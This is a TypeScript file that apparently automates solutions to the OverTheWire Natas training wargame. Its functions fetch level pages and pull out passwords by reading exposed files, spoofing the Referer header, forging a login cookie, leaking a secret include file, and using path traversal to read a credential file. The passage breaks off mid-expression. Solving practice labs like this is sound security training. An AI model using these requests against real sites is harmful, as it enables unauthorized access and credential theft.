import { bytes2str, determinePeriod, hex2bin, xor } from "./util"; const solves: SolveFn[] = [ async ({ fetch }) => { const result = await fetch("/"); const text = await result.text(); const match = text.match(/The password for natas1 is ([^ ]+)/); return match[1]; }, async ({ fetch }) => { const result = await fetch("/"); const text = await result.text(); const match = text.match(/The password for natas2 is ([^ ]+)/); return match[1]; }, async ({ fetch }) => { const result = await fetch("/files/users.txt"); const text = await result.text(); const match = text.match(/^natas3:([^\s]+)$/m); return match[1]; }, async ({ fetch }) => { // Discover this URL through /robots.txt const result = await fetch("/s3cr3t/users.txt"); const text = await result.text(); const match = text.match(/^natas4:([^\s]+)$/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/", { headers: { Referer: "http://natas5.natas.labs.overthewire.org/" }, }); const text = await result.text(); const match = text.match(/The password for natas5 is ([^\s]+)/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/", { headers: { cookie: "loggedin=1" }, }); const text = await result.text(); const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/includes/secret.inc"); const text = await result.text(); const secret = text.match(/\$secret = "([^"]+)"/); const params = new URLSearchParams([ ["secret", secret[1]], ["submit", "Submit+Query"], ]); const result2 = await fetch("/", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: params.toString(), }); const text2 = await result2.text(); const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m); return match[1]; }, async ({ fetch }) => { // Local file inclusion const result = await fetch( "/index.php?page=../../../../../etc/natas_webpass/natas8" ); const text = await result.text(); const match = text.match(/
\s+([a-zA-Z0-9]+)\s+